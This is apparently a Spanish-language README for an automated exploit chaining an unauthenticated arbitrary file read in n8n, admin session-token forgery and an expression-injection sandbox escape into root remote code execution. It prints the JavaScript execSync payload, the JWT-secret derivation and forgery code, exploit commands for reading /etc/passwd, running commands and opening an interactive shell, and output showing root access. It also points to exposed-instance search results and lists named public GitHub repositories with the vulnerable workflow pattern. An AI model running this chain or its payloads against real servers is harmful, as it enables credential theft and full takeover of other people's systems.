
Cadena de explotación automatizada para n8n que logra lectura arbitraria de archivos sin autenticación, falsificación de token de administrador y evasión de sandbox para ejecución remota de código mediante inyección de expresiones.
Lectura arbitraria de archivos sin autenticación → Forja de token de administrador → Bypass de sandbox → RCE
Cadena completa de RCE sin autenticación en n8n:
La exposición es basada en versión. En términos de exposición, hay instancias vulnerables de n8n accesibles públicamente.
Resultados de LeakIX: Ver instancias expuestas
Este exploit fue desarrollado de forma independiente al informe de Cyera (descubierto después de su finalización). Diferencias clave:
| Cyera (Investigación original) | Este exploit |
|---|
| Lectura de archivos | Cargar en la base de conocimiento de IA → consultar mediante chat | Respuesta HTTP directa |
| Requisitos previos | Workflow de chat + integración de IA | Cualquier formulario con carga de archivos |
| Método de RCE | Nodo "Execute Command" (deshabilitado por defecto) | Inyección de expresiones (funciona en instalaciones predeterminadas) |
| Automatización | Demo manual/conceptual | Script Python totalmente automatizado |
Ambos enfoques requieren configuraciones de workflow específicas. Cyera necesita chat + integración de IA, este exploit necesita un formulario con nodo Respond. Consulta Limitaciones para más detalles.
┌───────────────────────────────────────────────────────────┐
│ SIN AUTENTICACIÓN │
├───────────────────────────────────────────────────────────┤
│ 1. Leer /proc/self/environ → Encontrar directorio HOME │
│ 2. Leer $HOME/.n8n/config → Obtener encryptionKey │
│ 3. Leer $HOME/.n8n/database.sqlite → Obtener credenciales│
│ de administrador │
├───────────────────────────────────────────────────────────┤
│ FORJA DE TOKEN │
├───────────────────────────────────────────────────────────┤
│ 4. Derivar secreto JWT a partir de encryptionKey │
│ 5. Forjar cookie de sesión de administrador │
├───────────────────────────────────────────────────────────┤
│ RCE AUTENTICADO │
├───────────────────────────────────────────────────────────┤
│ 6. Crear workflow con inyección de expresiones │
│ 7. Bypass de sandbox mediante this.process.mainModule. │
│ require │
│ 8. Ejecutar comandos arbitrarios │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
El legendario "Merge commit from fork" - cuando ves esto, alguien encontró algo picante. 🌶️
// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Enviar Content-Type: application/json → controlar filepath → leer cualquier archivo.
n8n aísla el código de usuario (nodo Code, expresiones) usando vm2/isolated-vm. Otros vectores de RCE:
| Técnica | Estado |
|---|---|
| Nodo Execute Command | Deshabilitado por defecto (N8N_ALLOW_EXEC_COMMAND=false) |
| Nodos SSH/HTTP | Se ejecutan en servidores remotos, no en el host de n8n |
| Escape de sandbox Pyodide | CVE-2025-68668 - requiere nodo Python Code |
| Inyección de expresiones | CVE-2025-68613 - funciona en instalaciones predeterminadas |
Usé inyección de expresiones porque funciona en cualquier n8n con configuración predeterminada - sin nodos ni configuración especiales requeridos. El bypass de Pyodide (CVE-2025-68668) requiere el nodo Python Code que puede no estar disponible en todas las instancias.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Las expresiones de n8n tienen acceso a this.process.mainModule.require → escape completo del sandbox.
# Derivación del secreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forjar token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Esperar ~60 segundos para la configuración
# Formulario: http://localhost:32790/form/vulnerable-form
# Credenciales: [email protected] / ExploitLab123!
# Leer archivo arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Cadena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Shell interactivo
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - Cadena completa en n8n ║
║ Lectura arbitraria de archivos → Forja de token → Bypass ║
║ de sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Objetivo: http://localhost:5678/form/vulnerable-form
[*] Versión: 1.65.0 (VULNERABLE)
[x] Directorio HOME
[+] Directorio HOME: /root
[x] Clave de cifrado
[+] Clave de cifrado: yusrXZV1...
[x] Base de datos
[+] Base de datos: 1327104 bytes
[x] Usuario administrador
[+] Usuario administrador: [email protected]
[x] Forja de token
[+] Forja de token: OK
[x] Acceso de administrador
[+] Acceso de administrador: ¡CONCEDIDO!
[+] Cookie: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Esto NO es un exploit para "comprometer cualquier n8n". Requiere condiciones específicas para funcionar:
| Requisito | Descripción |
|---|---|
| Formulario con carga de archivos | El objetivo debe tener un workflow de formulario con un campo de carga de archivos |
| Nodo Respond to Webhook | El workflow debe devolver el contenido del archivo en la respuesta HTTP |
| Workflow activo | El workflow del formulario debe estar activado |
| Acceso sin autenticación | El formulario debe ser accesible públicamente (sin autenticación) |
Ejemplo de configuración de workflow vulnerable:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Los elementos clave son: fieldType: "file" + respondWith: "binary". Este patrón es común en workflows de procesamiento de archivos (convertidores, redimensionadores de imágenes, procesadores de documentos).
Funciona:
No funciona:
Nota: La vulnerabilidad (lectura arbitraria de archivos) se activa independientemente del método de exfiltración. El nodo Respond es solo una forma de recuperar el contenido. Métodos alternativos (OOB, otros nodos de salida) pueden funcionar según la configuración del workflow.
Explotación ciega: Si no existe un nodo respond, el archivo aún es leído por n8n pero no puede ser exfiltrado mediante la respuesta HTTP. Se necesitarían técnicas alternativas (OOB, temporización).
El patrón vulnerable (Form Trigger + carga de archivos + Respond to Webhook) existe en repositorios públicos de GitHub.
Nota: Los repositorios populares de workflows de n8n (>100⭐) no usan este patrón. Estos son proyectos comunitarios/personales:
| Archivo de workflow | Campos de archivo | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Imágenes, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Documento(PDF) | text |
| ai_resume_project/resume_rag.json | Carga de archivo | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Archivo de audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Cargar archivo | predeterminado |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | predeterminado |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Sube tu documento | predeterminado |
| learn_earn_ai_insta/.../My workflow.json | sube tu archivo | predeterminado |
| finintworkshop/.../API using n8n (ToT).json |
Estos son workflows contribuidos por la comunidad. Ninguna plantilla oficial de n8n.io usa este patrón vulnerable.
| file |
json |